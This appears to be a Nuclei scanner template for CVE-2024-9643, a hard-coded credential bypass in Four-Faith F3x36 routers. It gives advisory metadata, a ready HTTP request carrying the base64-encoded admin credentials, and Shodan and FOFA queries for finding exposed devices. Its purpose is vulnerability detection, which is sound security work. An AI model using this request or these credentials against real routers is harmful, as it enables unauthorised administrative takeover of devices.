id: CVE-2024-9643

info:
  name: Four-Faith F3x36 - Authentication Bypass
  author: trader642
  severity: critical
  description: |
    Four-Faith F3x36 router with firmware v2.0.0 contains an authentication bypass caused by hard-coded credentials in the administrative web server, letting attackers with knowledge of credentials gain administrative access via crafted HTTP requests.
  impact: |
    Attackers can gain unauthorized administrative access, potentially leading to full control over the device.
  remediation: |
    Update to the latest firmware version provided by the vendor to fix hard-coded credential issues.
  reference:
    - https://vulncheck.com/advisories/four-faith-hard-coded-creds
    - https://talosintelligence.com/vulnerability_reports/TALOS-2023-1752
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9643
    epss-score: 0.0293
    epss-percentile: 0.85706
    cwe-id: CWE-798
  metadata:
    verified: true
    max-request: 1
    vendor: four-faith
    product: f3x36
    shodan-query: "Four-Faith"
    fofa-query: body="Four-Faith"
  tags: cve,cve2024,four-faith,default-login,router,iot,auth-bypass,vkev

http:
  - raw:
      - |
        GET /Status_Router.asp HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic ZmZhZG1pbjpmZmFkbWluZmY=

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Four-Faith","Status")'
          - 'contains(server, "httpd_four-faith")'
        condition: and
# digest: 4b0a00483046022100ad17133028259d3879810359c81d700e554f80e89af488426357b50004ad0856022100d8ef5b56267048ef1327433eaf3ca45ae048206818f6b92dd0158702b69c5a01:922c64590222798bb761d5b6d8e72950